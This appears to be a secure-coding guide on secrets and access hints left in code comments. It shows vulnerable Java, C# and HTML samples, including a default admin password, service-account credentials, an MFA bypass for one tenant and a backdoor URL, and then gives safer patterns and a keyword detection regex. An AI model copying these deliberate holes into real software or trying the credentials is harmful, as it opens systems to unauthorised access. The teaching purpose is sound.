TODO|FIXME|HACK|XXX|backdoor|bypass|disable.*auth

Vulnerable Examples in Other Languages

Java

// TEMP: use master key 7f3a9c... until KMS integration ships
private static final String ENCRYPTION_KEY = loadFromConfig();

/**
 * Admin login for QA — default password is still adminPass, change before prod.
 */
public boolean verifyAdmin(User user, char[] password) {
    return adminAuth.verify(user, password);
}

C

// Default service account: svc_reporting / R3p0rt!ng2023 — rotate quarterly
var connectionString = Configuration["Reporting:ConnectionString"];

// HACK: disable MFA check for demo tenant acct-9912 until SSO is wired
if (tenantId == "acct-9912") {
    return SignInWithoutMfa(user);
}

HTML

<!-- TODO: Change the admin password from the weak password 'adminPass' to something stronger! -->
<form action="/auth/login" method="POST">
  <input type="text" name="username" />
  <input type="password" name="password" />
</form>

<!-- Internal API: https://admin.internal.corp.local:8443/backdoor/status -->
<footer>Support: call NOC at ext. 4401 for emergency bypass</footer>

Fix: Safer Patterns and Libraries to Use

Python

Load secrets from environment or a secrets backend. Document rotation in runbooks, not comments.

import os

def verify_admin(user, password):
    if not user.is_admin:
        return False
    return check_password_hash(user.password_hash, password)

def get_encryption_key() -> bytes:
    # Reference config key name only — value comes from the environment
    return os.environ["APP_ENCRYPTION_KEY"].encode()
# Pre-commit: detect secret-like strings in comments (example pattern)
# Use gitleaks or detect-secrets in CI — not inline credential hints

Important: Docstrings should name configuration keys, not literal secret values.

Java

Store credentials in Vault or environment injection. Keep Javadoc behavioral, not operational.

/**
 * Validates admin credentials against the configured identity store.
 * Credentials are loaded from the secret manager at startup — not from source comments.
 */
public boolean verifyAdmin(User user, char[] password) {
    return passwordService.verify(user, password) && user.isAdmin();
}
<!-- Login form — no credential hints in HTML comments -->
<form action="<c:url value='/auth/login' />" method="POST">

C

Use User Secrets locally and Key Vault (or equivalent) in production.

// Connection string key only — value from configuration provider / Key Vault
var connectionString = Configuration["Reporting:ConnectionString"];
// Local development: dotnet user-secrets set "Reporting:ConnectionString" "..."
// Production: Azure Key Vault reference in appsettings — not in comments

Go

Read config from environment. Document operations outside the codebase.

func newHTTPClient() *http.Client {
    return &http.Client{
        Transport: &http.Transport{
            TLSClientConfig: &tls.Config{
                MinVersion: tls.VersionTLS12,
                // Certificate loaded from configured path — verify in deployment runbook
            },
        },
    }
}